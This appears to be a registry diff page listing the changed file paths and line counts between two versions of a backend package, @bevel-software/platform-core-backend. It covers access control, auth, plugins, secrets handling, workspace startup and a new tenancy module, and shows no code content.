@bevel-software/platform-core-backend 0.20.0 → 0.21.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (576) hide show
  1. package/dist/core/catalog-cache-invalidation.d.ts +7 -2
  2. package/dist/core/catalog-cache-invalidation.d.ts.map +1 -1
  3. package/dist/core/catalog-cache-invalidation.js +8 -9
  4. package/dist/core/catalog-cache-invalidation.js.map +1 -1
  5. package/dist/core/core-ports.d.ts +19 -0
  6. package/dist/core/core-ports.d.ts.map +1 -1
  7. package/dist/core/core-ports.js.map +1 -1
  8. package/dist/core/create-core-server.d.ts +2 -0
  9. package/dist/core/create-core-server.d.ts.map +1 -1
  10. package/dist/core/create-core-server.js +23 -105
  11. package/dist/core/create-core-server.js.map +1 -1
  12. package/dist/core/create-core-services.d.ts +30 -5
  13. package/dist/core/create-core-services.d.ts.map +1 -1
  14. package/dist/core/create-core-services.js +136 -81
  15. package/dist/core/create-core-services.js.map +1 -1
  16. package/dist/core/lifecycle.d.ts +74 -28
  17. package/dist/core/lifecycle.d.ts.map +1 -1
  18. package/dist/core/lifecycle.js +157 -20
  19. package/dist/core/lifecycle.js.map +1 -1
  20. package/dist/core/public-config.d.ts +5 -1
  21. package/dist/core/public-config.d.ts.map +1 -1
  22. package/dist/core/public-config.js +7 -5
  23. package/dist/core/public-config.js.map +1 -1
  24. package/dist/core-config.d.ts +95 -1
  25. package/dist/core-config.d.ts.map +1 -1
  26. package/dist/core-config.js +24 -8
  27. package/dist/core-config.js.map +1 -1
  28. package/dist/index.d.ts +5 -3
  29. package/dist/index.d.ts.map +1 -1
  30. package/dist/index.js +6 -3
  31. package/dist/index.js.map +1 -1
  32. package/dist/modules/access/access-control.service.d.ts +18 -1
  33. package/dist/modules/access/access-control.service.d.ts.map +1 -1
  34. package/dist/modules/access/access-control.service.js +19 -8
  35. package/dist/modules/access/access-control.service.js.map +1 -1
  36. package/dist/modules/access/access.routes.d.ts +2 -1
  37. package/dist/modules/access/access.routes.d.ts.map +1 -1
  38. package/dist/modules/access/access.routes.js +10 -10
  39. package/dist/modules/access/access.routes.js.map +1 -1
  40. package/dist/modules/access/change-read-gate.d.ts +6 -3
  41. package/dist/modules/access/change-read-gate.d.ts.map +1 -1
  42. package/dist/modules/access/change-read-gate.js +9 -6
  43. package/dist/modules/access/change-read-gate.js.map +1 -1
  44. package/dist/modules/access/creator-access.d.ts +4 -2
  45. package/dist/modules/access/creator-access.d.ts.map +1 -1
  46. package/dist/modules/access/creator-access.js +7 -4
  47. package/dist/modules/access/creator-access.js.map +1 -1
  48. package/dist/modules/agent-instructions/read-preamble.d.ts +2 -1
  49. package/dist/modules/agent-instructions/read-preamble.d.ts.map +1 -1
  50. package/dist/modules/agent-instructions/read-preamble.js +6 -9
  51. package/dist/modules/agent-instructions/read-preamble.js.map +1 -1
  52. package/dist/modules/auth/account-admission.d.ts +40 -0
  53. package/dist/modules/auth/account-admission.d.ts.map +1 -0
  54. package/dist/modules/auth/account-admission.js +17 -0
  55. package/dist/modules/auth/account-admission.js.map +1 -0
  56. package/dist/modules/auth/account.routes.d.ts.map +1 -1
  57. package/dist/modules/auth/account.routes.js +4 -1
  58. package/dist/modules/auth/account.routes.js.map +1 -1
  59. package/dist/modules/auth/auth.service.d.ts +19 -1
  60. package/dist/modules/auth/auth.service.d.ts.map +1 -1
  61. package/dist/modules/auth/auth.service.js +33 -1
  62. package/dist/modules/auth/auth.service.js.map +1 -1
  63. package/dist/modules/auth/oidc-auth-provider.d.ts.map +1 -1
  64. package/dist/modules/auth/oidc-auth-provider.js +9 -0
  65. package/dist/modules/auth/oidc-auth-provider.js.map +1 -1
  66. package/dist/modules/connection-probe/connection-probe.service.d.ts +13 -1
  67. package/dist/modules/connection-probe/connection-probe.service.d.ts.map +1 -1
  68. package/dist/modules/connection-probe/connection-probe.service.js +10 -2
  69. package/dist/modules/connection-probe/connection-probe.service.js.map +1 -1
  70. package/dist/modules/database/advisory-lock.d.ts +17 -0
  71. package/dist/modules/database/advisory-lock.d.ts.map +1 -1
  72. package/dist/modules/database/advisory-lock.js +24 -3
  73. package/dist/modules/database/advisory-lock.js.map +1 -1
  74. package/dist/modules/database/connection.d.ts +67 -2
  75. package/dist/modules/database/connection.d.ts.map +1 -1
  76. package/dist/modules/database/connection.js +118 -12
  77. package/dist/modules/database/connection.js.map +1 -1
  78. package/dist/modules/database/migrate.d.ts +1 -1
  79. package/dist/modules/database/migrate.d.ts.map +1 -1
  80. package/dist/modules/database/migrate.js +27 -3
  81. package/dist/modules/database/migrate.js.map +1 -1
  82. package/dist/modules/kb-fs/branch-name.d.ts +0 -1
  83. package/dist/modules/kb-fs/branch-name.d.ts.map +1 -1
  84. package/dist/modules/kb-fs/branch-name.js +3 -3
  85. package/dist/modules/kb-fs/branch-name.js.map +1 -1
  86. package/dist/modules/kb-fs/clone-config.d.ts +9 -8
  87. package/dist/modules/kb-fs/clone-config.d.ts.map +1 -1
  88. package/dist/modules/kb-fs/clone-config.js +14 -12
  89. package/dist/modules/kb-fs/clone-config.js.map +1 -1
  90. package/dist/modules/mcp/mcp.service.d.ts +7 -0
  91. package/dist/modules/mcp/mcp.service.d.ts.map +1 -1
  92. package/dist/modules/mcp/mcp.service.js +4 -4
  93. package/dist/modules/mcp/mcp.service.js.map +1 -1
  94. package/dist/modules/plugins/compile/marketplace-compiler.service.d.ts +4 -4
  95. package/dist/modules/plugins/compile/marketplace-compiler.service.d.ts.map +1 -1
  96. package/dist/modules/plugins/compile/marketplace-compiler.service.js +7 -10
  97. package/dist/modules/plugins/compile/marketplace-compiler.service.js.map +1 -1
  98. package/dist/modules/plugins/discovery/bundle-dialect/bundle.source.d.ts +4 -1
  99. package/dist/modules/plugins/discovery/bundle-dialect/bundle.source.d.ts.map +1 -1
  100. package/dist/modules/plugins/discovery/bundle-dialect/bundle.source.js +5 -3
  101. package/dist/modules/plugins/discovery/bundle-dialect/bundle.source.js.map +1 -1
  102. package/dist/modules/plugins/discovery/kb-plugin-source.d.ts +6 -1
  103. package/dist/modules/plugins/discovery/kb-plugin-source.d.ts.map +1 -1
  104. package/dist/modules/plugins/discovery/kb-plugin-source.js +14 -9
  105. package/dist/modules/plugins/discovery/kb-plugin-source.js.map +1 -1
  106. package/dist/modules/plugins/discovery/native.source.d.ts +4 -1
  107. package/dist/modules/plugins/discovery/native.source.d.ts.map +1 -1
  108. package/dist/modules/plugins/discovery/native.source.js +4 -2
  109. package/dist/modules/plugins/discovery/native.source.js.map +1 -1
  110. package/dist/modules/plugins/index.d.ts +1 -1
  111. package/dist/modules/plugins/index.d.ts.map +1 -1
  112. package/dist/modules/plugins/index.js +1 -1
  113. package/dist/modules/plugins/index.js.map +1 -1
  114. package/dist/modules/plugins/join-request-jobs.service.d.ts +3 -1
  115. package/dist/modules/plugins/join-request-jobs.service.d.ts.map +1 -1
  116. package/dist/modules/plugins/join-request-jobs.service.js +6 -6
  117. package/dist/modules/plugins/join-request-jobs.service.js.map +1 -1
  118. package/dist/modules/plugins/join-requests.service.d.ts +3 -1
  119. package/dist/modules/plugins/join-requests.service.d.ts.map +1 -1
  120. package/dist/modules/plugins/join-requests.service.js +9 -8
  121. package/dist/modules/plugins/join-requests.service.js.map +1 -1
  122. package/dist/modules/plugins/plugin-links.d.ts +65 -10
  123. package/dist/modules/plugins/plugin-links.d.ts.map +1 -1
  124. package/dist/modules/plugins/plugin-links.js +136 -31
  125. package/dist/modules/plugins/plugin-links.js.map +1 -1
  126. package/dist/modules/plugins/plugin-links.service.d.ts +107 -5
  127. package/dist/modules/plugins/plugin-links.service.d.ts.map +1 -1
  128. package/dist/modules/plugins/plugin-links.service.js +151 -21
  129. package/dist/modules/plugins/plugin-links.service.js.map +1 -1
  130. package/dist/modules/plugins/plugin-provision.service.d.ts +10 -3
  131. package/dist/modules/plugins/plugin-provision.service.d.ts.map +1 -1
  132. package/dist/modules/plugins/plugin-provision.service.js +33 -26
  133. package/dist/modules/plugins/plugin-provision.service.js.map +1 -1
  134. package/dist/modules/plugins/plugin-rename.service.d.ts +4 -2
  135. package/dist/modules/plugins/plugin-rename.service.d.ts.map +1 -1
  136. package/dist/modules/plugins/plugin-rename.service.js +10 -12
  137. package/dist/modules/plugins/plugin-rename.service.js.map +1 -1
  138. package/dist/modules/plugins/plugins.routes.d.ts +3 -0
  139. package/dist/modules/plugins/plugins.routes.d.ts.map +1 -1
  140. package/dist/modules/plugins/plugins.routes.js +45 -15
  141. package/dist/modules/plugins/plugins.routes.js.map +1 -1
  142. package/dist/modules/plugins/plugins.service.d.ts +4 -4
  143. package/dist/modules/plugins/plugins.service.d.ts.map +1 -1
  144. package/dist/modules/plugins/plugins.service.js +7 -10
  145. package/dist/modules/plugins/plugins.service.js.map +1 -1
  146. package/dist/modules/plugins/teams.routes.d.ts +4 -1
  147. package/dist/modules/plugins/teams.routes.d.ts.map +1 -1
  148. package/dist/modules/plugins/teams.routes.js +11 -9
  149. package/dist/modules/plugins/teams.routes.js.map +1 -1
  150. package/dist/modules/secrets-vault/index.d.ts +1 -1
  151. package/dist/modules/secrets-vault/index.d.ts.map +1 -1
  152. package/dist/modules/secrets-vault/index.js +1 -1
  153. package/dist/modules/secrets-vault/index.js.map +1 -1
  154. package/dist/modules/secrets-vault/secrets-variable-loader.d.ts +29 -11
  155. package/dist/modules/secrets-vault/secrets-variable-loader.d.ts.map +1 -1
  156. package/dist/modules/secrets-vault/secrets-variable-loader.js +46 -21
  157. package/dist/modules/secrets-vault/secrets-variable-loader.js.map +1 -1
  158. package/dist/modules/secrets-vault/secrets-vault.routes.d.ts +3 -0
  159. package/dist/modules/secrets-vault/secrets-vault.routes.d.ts.map +1 -1
  160. package/dist/modules/secrets-vault/secrets-vault.routes.js +4 -6
  161. package/dist/modules/secrets-vault/secrets-vault.routes.js.map +1 -1
  162. package/dist/modules/settings/deployment-settings.service.d.ts +12 -8
  163. package/dist/modules/settings/deployment-settings.service.d.ts.map +1 -1
  164. package/dist/modules/settings/deployment-settings.service.js +20 -22
  165. package/dist/modules/settings/deployment-settings.service.js.map +1 -1
  166. package/dist/modules/settings/setup.routes.d.ts +9 -2
  167. package/dist/modules/settings/setup.routes.d.ts.map +1 -1
  168. package/dist/modules/settings/setup.routes.js +20 -14
  169. package/dist/modules/settings/setup.routes.js.map +1 -1
  170. package/dist/modules/skills/allowed-tools-check.d.ts +4 -3
  171. package/dist/modules/skills/allowed-tools-check.d.ts.map +1 -1
  172. package/dist/modules/skills/allowed-tools-check.js +8 -8
  173. package/dist/modules/skills/allowed-tools-check.js.map +1 -1
  174. package/dist/modules/skills/pending-skills.service.d.ts +3 -1
  175. package/dist/modules/skills/pending-skills.service.d.ts.map +1 -1
  176. package/dist/modules/skills/pending-skills.service.js +9 -6
  177. package/dist/modules/skills/pending-skills.service.js.map +1 -1
  178. package/dist/modules/skills/skill-access-requests.routes.d.ts +2 -1
  179. package/dist/modules/skills/skill-access-requests.routes.d.ts.map +1 -1
  180. package/dist/modules/skills/skill-access-requests.routes.js +6 -6
  181. package/dist/modules/skills/skill-access-requests.routes.js.map +1 -1
  182. package/dist/modules/skills/skills.routes.d.ts +4 -1
  183. package/dist/modules/skills/skills.routes.d.ts.map +1 -1
  184. package/dist/modules/skills/skills.routes.js +4 -4
  185. package/dist/modules/skills/skills.routes.js.map +1 -1
  186. package/dist/modules/skills/skills.service.d.ts +4 -2
  187. package/dist/modules/skills/skills.service.d.ts.map +1 -1
  188. package/dist/modules/skills/skills.service.js +13 -11
  189. package/dist/modules/skills/skills.service.js.map +1 -1
  190. package/dist/modules/tool-manuals/mcp-json-discovery.d.ts +2 -1
  191. package/dist/modules/tool-manuals/mcp-json-discovery.d.ts.map +1 -1
  192. package/dist/modules/tool-manuals/mcp-json-discovery.js +6 -5
  193. package/dist/modules/tool-manuals/mcp-json-discovery.js.map +1 -1
  194. package/dist/modules/tool-manuals/mcp-server-edit.service.d.ts +4 -2
  195. package/dist/modules/tool-manuals/mcp-server-edit.service.d.ts.map +1 -1
  196. package/dist/modules/tool-manuals/mcp-server-edit.service.js +12 -10
  197. package/dist/modules/tool-manuals/mcp-server-edit.service.js.map +1 -1
  198. package/dist/modules/tool-manuals/pending-tools.service.d.ts +3 -1
  199. package/dist/modules/tool-manuals/pending-tools.service.d.ts.map +1 -1
  200. package/dist/modules/tool-manuals/pending-tools.service.js +19 -16
  201. package/dist/modules/tool-manuals/pending-tools.service.js.map +1 -1
  202. package/dist/modules/tool-manuals/tool-delete.service.d.ts +4 -2
  203. package/dist/modules/tool-manuals/tool-delete.service.d.ts.map +1 -1
  204. package/dist/modules/tool-manuals/tool-delete.service.js +14 -12
  205. package/dist/modules/tool-manuals/tool-delete.service.js.map +1 -1
  206. package/dist/modules/tool-manuals/tool-manuals.routes.d.ts +3 -1
  207. package/dist/modules/tool-manuals/tool-manuals.routes.d.ts.map +1 -1
  208. package/dist/modules/tool-manuals/tool-manuals.routes.js +7 -7
  209. package/dist/modules/tool-manuals/tool-manuals.routes.js.map +1 -1
  210. package/dist/modules/tool-manuals/tool-manuals.service.d.ts +4 -2
  211. package/dist/modules/tool-manuals/tool-manuals.service.d.ts.map +1 -1
  212. package/dist/modules/tool-manuals/tool-manuals.service.js +15 -12
  213. package/dist/modules/tool-manuals/tool-manuals.service.js.map +1 -1
  214. package/dist/modules/tool-manuals/tool-manuals.tools.d.ts +3 -0
  215. package/dist/modules/tool-manuals/tool-manuals.tools.d.ts.map +1 -1
  216. package/dist/modules/tool-manuals/tool-manuals.tools.js +4 -6
  217. package/dist/modules/tool-manuals/tool-manuals.tools.js.map +1 -1
  218. package/dist/modules/workflow/agent-tools/workflow.tools.d.ts +3 -2
  219. package/dist/modules/workflow/agent-tools/workflow.tools.d.ts.map +1 -1
  220. package/dist/modules/workflow/agent-tools/workflow.tools.js +9 -9
  221. package/dist/modules/workflow/agent-tools/workflow.tools.js.map +1 -1
  222. package/dist/modules/workflow/git/git.service.d.ts +11 -5
  223. package/dist/modules/workflow/git/git.service.d.ts.map +1 -1
  224. package/dist/modules/workflow/git/git.service.js +23 -14
  225. package/dist/modules/workflow/git/git.service.js.map +1 -1
  226. package/dist/modules/workflow/git/node-git-runner.d.ts +26 -2
  227. package/dist/modules/workflow/git/node-git-runner.d.ts.map +1 -1
  228. package/dist/modules/workflow/git/node-git-runner.js +35 -5
  229. package/dist/modules/workflow/git/node-git-runner.js.map +1 -1
  230. package/dist/modules/workflow/review-workflow/review-workflow.service.d.ts.map +1 -1
  231. package/dist/modules/workflow/review-workflow/review-workflow.service.js +9 -4
  232. package/dist/modules/workflow/review-workflow/review-workflow.service.js.map +1 -1
  233. package/dist/modules/workflow/session-ontology.service.d.ts +6 -1
  234. package/dist/modules/workflow/session-ontology.service.d.ts.map +1 -1
  235. package/dist/modules/workflow/session-ontology.service.js +6 -2
  236. package/dist/modules/workflow/session-ontology.service.js.map +1 -1
  237. package/dist/modules/workflow/workflow.service.d.ts +8 -3
  238. package/dist/modules/workflow/workflow.service.d.ts.map +1 -1
  239. package/dist/modules/workflow/workflow.service.js +33 -23
  240. package/dist/modules/workflow/workflow.service.js.map +1 -1
  241. package/dist/modules/workspace/session-ontology.gate.d.ts +3 -1
  242. package/dist/modules/workspace/session-ontology.gate.d.ts.map +1 -1
  243. package/dist/modules/workspace/session-ontology.gate.js +3 -3
  244. package/dist/modules/workspace/session-ontology.gate.js.map +1 -1
  245. package/dist/modules/workspace/startup/kb-git.d.ts +4 -3
  246. package/dist/modules/workspace/startup/kb-git.d.ts.map +1 -1
  247. package/dist/modules/workspace/startup/kb-git.js +15 -13
  248. package/dist/modules/workspace/startup/kb-git.js.map +1 -1
  249. package/dist/modules/workspace/startup/kb-startup-runner.d.ts +5 -8
  250. package/dist/modules/workspace/startup/kb-startup-runner.d.ts.map +1 -1
  251. package/dist/modules/workspace/startup/kb-startup-runner.js +35 -38
  252. package/dist/modules/workspace/startup/kb-startup-runner.js.map +1 -1
  253. package/dist/modules/workspace/startup/steps/groups-to-plugins.step.d.ts +7 -1
  254. package/dist/modules/workspace/startup/steps/groups-to-plugins.step.d.ts.map +1 -1
  255. package/dist/modules/workspace/startup/steps/groups-to-plugins.step.js +23 -16
  256. package/dist/modules/workspace/startup/steps/groups-to-plugins.step.js.map +1 -1
  257. package/dist/modules/workspace/startup/steps/personal-spaces.step.d.ts +7 -1
  258. package/dist/modules/workspace/startup/steps/personal-spaces.step.d.ts.map +1 -1
  259. package/dist/modules/workspace/startup/steps/personal-spaces.step.js +12 -5
  260. package/dist/modules/workspace/startup/steps/personal-spaces.step.js.map +1 -1
  261. package/dist/modules/workspace/startup/steps/plugin-display-names.step.d.ts +7 -1
  262. package/dist/modules/workspace/startup/steps/plugin-display-names.step.d.ts.map +1 -1
  263. package/dist/modules/workspace/startup/steps/plugin-display-names.step.js +12 -5
  264. package/dist/modules/workspace/startup/steps/plugin-display-names.step.js.map +1 -1
  265. package/dist/modules/workspace/startup/steps/plugin-manifests.step.d.ts +7 -1
  266. package/dist/modules/workspace/startup/steps/plugin-manifests.step.d.ts.map +1 -1
  267. package/dist/modules/workspace/startup/steps/plugin-manifests.step.js +12 -5
  268. package/dist/modules/workspace/startup/steps/plugin-manifests.step.js.map +1 -1
  269. package/dist/modules/workspace/startup/steps/seed-tree.d.ts +4 -1
  270. package/dist/modules/workspace/startup/steps/seed-tree.d.ts.map +1 -1
  271. package/dist/modules/workspace/startup/steps/seed-tree.js +14 -11
  272. package/dist/modules/workspace/startup/steps/seed-tree.js.map +1 -1
  273. package/dist/modules/workspace/startup/steps/template-files.step.d.ts +17 -3
  274. package/dist/modules/workspace/startup/steps/template-files.step.d.ts.map +1 -1
  275. package/dist/modules/workspace/startup/steps/template-files.step.js +36 -30
  276. package/dist/modules/workspace/startup/steps/template-files.step.js.map +1 -1
  277. package/dist/modules/workspace/startup/steps/template-source.d.ts +6 -1
  278. package/dist/modules/workspace/startup/steps/template-source.d.ts.map +1 -1
  279. package/dist/modules/workspace/startup/steps/template-source.js +10 -6
  280. package/dist/modules/workspace/startup/steps/template-source.js.map +1 -1
  281. package/dist/modules/workspace/workspace.routes.d.ts +2 -1
  282. package/dist/modules/workspace/workspace.routes.d.ts.map +1 -1
  283. package/dist/modules/workspace/workspace.routes.js +8 -7
  284. package/dist/modules/workspace/workspace.routes.js.map +1 -1
  285. package/dist/modules/workspace/workspace.service.d.ts +18 -12
  286. package/dist/modules/workspace/workspace.service.d.ts.map +1 -1
  287. package/dist/modules/workspace/workspace.service.js +32 -28
  288. package/dist/modules/workspace/workspace.service.js.map +1 -1
  289. package/dist/modules/workspace/workspace.tools.d.ts +2 -1
  290. package/dist/modules/workspace/workspace.tools.d.ts.map +1 -1
  291. package/dist/modules/workspace/workspace.tools.js +20 -18
  292. package/dist/modules/workspace/workspace.tools.js.map +1 -1
  293. package/dist/modules/workspace/write-denial.d.ts +3 -2
  294. package/dist/modules/workspace/write-denial.d.ts.map +1 -1
  295. package/dist/modules/workspace/write-denial.js +6 -5
  296. package/dist/modules/workspace/write-denial.js.map +1 -1
  297. package/dist/shared/git.contract.d.ts +52 -7
  298. package/dist/shared/git.contract.d.ts.map +1 -1
  299. package/dist/shared/git.contract.js +30 -8
  300. package/dist/shared/git.contract.js.map +1 -1
  301. package/dist/shared/kb-context.d.ts +76 -0
  302. package/dist/shared/kb-context.d.ts.map +1 -0
  303. package/dist/shared/kb-context.js +108 -0
  304. package/dist/shared/kb-context.js.map +1 -0
  305. package/dist/shared/kb-layout.d.ts +3 -2
  306. package/dist/shared/kb-layout.d.ts.map +1 -1
  307. package/dist/shared/kb-layout.js +4 -3
  308. package/dist/shared/kb-layout.js.map +1 -1
  309. package/dist/shared/kb-layout.test.js +35 -27
  310. package/dist/shared/kb-layout.test.js.map +1 -1
  311. package/dist/shared/pending-proposals.d.ts +4 -1
  312. package/dist/shared/pending-proposals.d.ts.map +1 -1
  313. package/dist/shared/pending-proposals.js +3 -4
  314. package/dist/shared/pending-proposals.js.map +1 -1
  315. package/dist/shared/redact-secret.d.ts +5 -5
  316. package/dist/shared/redact-secret.js +5 -5
  317. package/dist/tenancy/index.d.ts +13 -0
  318. package/dist/tenancy/index.d.ts.map +1 -0
  319. package/dist/tenancy/index.js +13 -0
  320. package/dist/tenancy/index.js.map +1 -0
  321. package/dist/tenancy/static-tenant-source.d.ts +98 -0
  322. package/dist/tenancy/static-tenant-source.d.ts.map +1 -0
  323. package/dist/tenancy/static-tenant-source.js +220 -0
  324. package/dist/tenancy/static-tenant-source.js.map +1 -0
  325. package/dist/tenancy/tenant-host.d.ts +80 -0
  326. package/dist/tenancy/tenant-host.d.ts.map +1 -0
  327. package/dist/tenancy/tenant-host.js +217 -0
  328. package/dist/tenancy/tenant-host.js.map +1 -0
  329. package/dist/tenancy/tenant-runtime.d.ts +91 -0
  330. package/dist/tenancy/tenant-runtime.d.ts.map +1 -0
  331. package/dist/tenancy/tenant-runtime.js +174 -0
  332. package/dist/tenancy/tenant-runtime.js.map +1 -0
  333. package/dist/tenancy/tenant-secrets.d.ts +24 -0
  334. package/dist/tenancy/tenant-secrets.d.ts.map +1 -0
  335. package/dist/tenancy/tenant-secrets.js +30 -0
  336. package/dist/tenancy/tenant-secrets.js.map +1 -0
  337. package/dist/tenancy/tenant-source.contract.d.ts +45 -0
  338. package/dist/tenancy/tenant-source.contract.d.ts.map +1 -0
  339. package/dist/tenancy/tenant-source.contract.js +21 -0
  340. package/dist/tenancy/tenant-source.contract.js.map +1 -0
  341. package/migrations/0000_core_init.sql +14 -14
  342. package/migrations/0003_deployment_settings.sql +1 -1
  343. package/migrations/0005_github_facade.sql +1 -1
  344. package/migrations/0012_agent_audit.sql +6 -6
  345. package/package.json +3 -3
  346. package/src/__tests__/branch-model.test.ts +7 -6
  347. package/src/__tests__/kb-context.ts +30 -0
  348. package/src/__tests__/kb-layout-config.test.ts +35 -30
  349. package/src/core/__tests__/catalog-cache-invalidation.test.ts +2 -1
  350. package/src/core/__tests__/lifecycle.test.ts +78 -1
  351. package/src/core/__tests__/public-config.test.ts +5 -1
  352. package/src/core/catalog-cache-invalidation.ts +16 -11
  353. package/src/core/core-ports.ts +19 -0
  354. package/src/core/create-core-server.ts +27 -106
  355. package/src/core/create-core-services.ts +180 -95
  356. package/src/core/lifecycle.ts +214 -29
  357. package/src/core/public-config.ts +8 -5
  358. package/src/core-config.ts +107 -8
  359. package/src/index.ts +25 -2
  360. package/src/modules/access/__tests__/access-control.admin-root-floor.test.ts +2 -1
  361. package/src/modules/access/__tests__/access.routes.batch.test.ts +2 -1
  362. package/src/modules/access/__tests__/access.routes.folder-governs.test.ts +2 -1
  363. package/src/modules/access/__tests__/access.routes.group-grant.test.ts +2 -1
  364. package/src/modules/access/__tests__/access.routes.overrides.test.ts +2 -1
  365. package/src/modules/access/__tests__/access.routes.proposal-branch.test.ts +2 -1
  366. package/src/modules/access/__tests__/access.routes.prospective.test.ts +2 -1
  367. package/src/modules/access/__tests__/access.routes.revoke.test.ts +2 -1
  368. package/src/modules/access/__tests__/access.routes.unknown-email.test.ts +2 -1
  369. package/src/modules/access/__tests__/change-read-gate.test.ts +13 -11
  370. package/src/modules/access/__tests__/creator-access.test.ts +3 -2
  371. package/src/modules/access/__tests__/roles.routes.test.ts +2 -1
  372. package/src/modules/access/access-control.service.ts +20 -6
  373. package/src/modules/access/access.routes.ts +10 -13
  374. package/src/modules/access/change-read-gate.ts +10 -4
  375. package/src/modules/access/creator-access.ts +7 -2
  376. package/src/modules/agent-instructions/__tests__/read-preamble.test.ts +13 -12
  377. package/src/modules/agent-instructions/read-preamble.ts +10 -12
  378. package/src/modules/auth/__tests__/account.routes.test.ts +15 -0
  379. package/src/modules/auth/__tests__/auth.service.test.ts +60 -0
  380. package/src/modules/auth/account-admission.ts +44 -0
  381. package/src/modules/auth/account.routes.ts +4 -1
  382. package/src/modules/auth/auth.service.ts +33 -1
  383. package/src/modules/auth/oidc-auth-provider.ts +9 -0
  384. package/src/modules/connection-probe/connection-probe.service.ts +7 -1
  385. package/src/modules/database/__tests__/advisory-lock.test.ts +23 -1
  386. package/src/modules/database/__tests__/connection.test.ts +98 -0
  387. package/src/modules/database/__tests__/migrations-unqualified.test.ts +32 -0
  388. package/src/modules/database/advisory-lock.ts +28 -4
  389. package/src/modules/database/connection.ts +143 -13
  390. package/src/modules/database/migrate.ts +48 -14
  391. package/src/modules/diff/__tests__/diff.service.seed-atomicity.test.ts +2 -1
  392. package/src/modules/diff/__tests__/diff.service.test.ts +2 -1
  393. package/src/modules/kb-fs/__tests__/branch-name.test.ts +6 -6
  394. package/src/modules/kb-fs/__tests__/clone-config.test.ts +24 -20
  395. package/src/modules/kb-fs/branch-name.ts +3 -3
  396. package/src/modules/kb-fs/clone-config.ts +15 -12
  397. package/src/modules/marketplace/__tests__/marketplace-repo.head.test.ts +2 -1
  398. package/src/modules/mcp/mcp.service.ts +11 -4
  399. package/src/modules/plugins/__tests__/bundle-dialect.e2e.test.ts +12 -11
  400. package/src/modules/plugins/__tests__/bundle-dialect.test.ts +2 -1
  401. package/src/modules/plugins/__tests__/compile-marketplace.test.ts +6 -4
  402. package/src/modules/plugins/__tests__/join-request-jobs.service.test.ts +2 -1
  403. package/src/modules/plugins/__tests__/join-requests.service.test.ts +2 -1
  404. package/src/modules/plugins/__tests__/plugin-creation-display-name.test.ts +4 -3
  405. package/src/modules/plugins/__tests__/plugin-index.service.test.ts +6 -4
  406. package/src/modules/plugins/__tests__/plugin-links.service.test.ts +220 -5
  407. package/src/modules/plugins/__tests__/plugin-provision.service.test.ts +3 -1
  408. package/src/modules/plugins/__tests__/plugin-rename.service.test.ts +7 -6
  409. package/src/modules/plugins/__tests__/plugins.routes.test.ts +11 -2
  410. package/src/modules/plugins/__tests__/teams.routes.test.ts +2 -1
  411. package/src/modules/plugins/compile/marketplace-compiler.service.ts +7 -9
  412. package/src/modules/plugins/discovery/__tests__/kb-plugin-source.test.ts +20 -16
  413. package/src/modules/plugins/discovery/bundle-dialect/bundle.source.ts +9 -2
  414. package/src/modules/plugins/discovery/kb-plugin-source.ts +15 -8
  415. package/src/modules/plugins/discovery/native.source.ts +4 -1
  416. package/src/modules/plugins/index.ts +1 -1
  417. package/src/modules/plugins/join-request-jobs.service.ts +8 -7
  418. package/src/modules/plugins/join-requests.service.ts +7 -7
  419. package/src/modules/plugins/plugin-links.service.ts +192 -19
  420. package/src/modules/plugins/plugin-links.ts +147 -27
  421. package/src/modules/plugins/plugin-provision.service.ts +54 -27
  422. package/src/modules/plugins/plugin-rename.service.ts +10 -10
  423. package/src/modules/plugins/plugins.routes.ts +45 -15
  424. package/src/modules/plugins/plugins.service.ts +7 -11
  425. package/src/modules/plugins/teams.routes.ts +16 -8
  426. package/src/modules/secrets-vault/__tests__/connect-pending.route.test.ts +7 -0
  427. package/src/modules/secrets-vault/__tests__/secrets-variable-loader.test.ts +40 -0
  428. package/src/modules/secrets-vault/__tests__/tool-owner-gate.route.test.ts +2 -0
  429. package/src/modules/secrets-vault/index.ts +2 -0
  430. package/src/modules/secrets-vault/secrets-variable-loader.ts +51 -21
  431. package/src/modules/secrets-vault/secrets-vault.routes.ts +7 -6
  432. package/src/modules/settings/__tests__/deployment-settings.service.test.ts +24 -11
  433. package/src/modules/settings/__tests__/git-root-folders.test.ts +2 -1
  434. package/src/modules/settings/__tests__/setup.routes.boot-failure.test.ts +2 -1
  435. package/src/modules/settings/__tests__/setup.routes.layout-phase.test.ts +7 -4
  436. package/src/modules/settings/__tests__/setup.routes.oidc.test.ts +2 -0
  437. package/src/modules/settings/__tests__/setup.routes.sync-status.test.ts +2 -0
  438. package/src/modules/settings/__tests__/setup.routes.test.ts +33 -52
  439. package/src/modules/settings/deployment-settings.service.ts +21 -20
  440. package/src/modules/settings/setup.routes.ts +26 -16
  441. package/src/modules/skills/__tests__/allowed-tools-check.test.ts +11 -10
  442. package/src/modules/skills/__tests__/allowed-tools-warn.tools.test.ts +4 -3
  443. package/src/modules/skills/__tests__/pending-skills.service.test.ts +3 -1
  444. package/src/modules/skills/__tests__/skill-access-requests.routes.test.ts +2 -1
  445. package/src/modules/skills/__tests__/skills.routes.warnings.test.ts +2 -1
  446. package/src/modules/skills/__tests__/skills.service.test.ts +3 -2
  447. package/src/modules/skills/allowed-tools-check.ts +7 -6
  448. package/src/modules/skills/pending-skills.service.ts +9 -8
  449. package/src/modules/skills/skill-access-requests.routes.ts +7 -7
  450. package/src/modules/skills/skills.routes.ts +4 -3
  451. package/src/modules/skills/skills.service.ts +13 -9
  452. package/src/modules/tool-helpers/__tests__/agent-roles-write.test.ts +3 -2
  453. package/src/modules/tool-helpers/__tests__/phase4-tools.test.ts +3 -2
  454. package/src/modules/tool-manuals/__tests__/mcp-json-discovery.test.ts +17 -12
  455. package/src/modules/tool-manuals/__tests__/mcp-server-edit.service.test.ts +2 -1
  456. package/src/modules/tool-manuals/__tests__/pending-tools.service.test.ts +4 -1
  457. package/src/modules/tool-manuals/__tests__/tool-delete.service.test.ts +2 -1
  458. package/src/modules/tool-manuals/__tests__/tool-manuals.archive.route.test.ts +2 -1
  459. package/src/modules/tool-manuals/__tests__/tool-manuals.cli.test.ts +5 -4
  460. package/src/modules/tool-manuals/__tests__/tool-manuals.detail.route.test.ts +2 -1
  461. package/src/modules/tool-manuals/__tests__/tool-manuals.invalid.routes.test.ts +4 -2
  462. package/src/modules/tool-manuals/__tests__/tool-manuals.invalid.test.ts +13 -5
  463. package/src/modules/tool-manuals/__tests__/tool-manuals.mcp-oauth.test.ts +2 -1
  464. package/src/modules/tool-manuals/__tests__/tool-manuals.restart.test.ts +9 -1
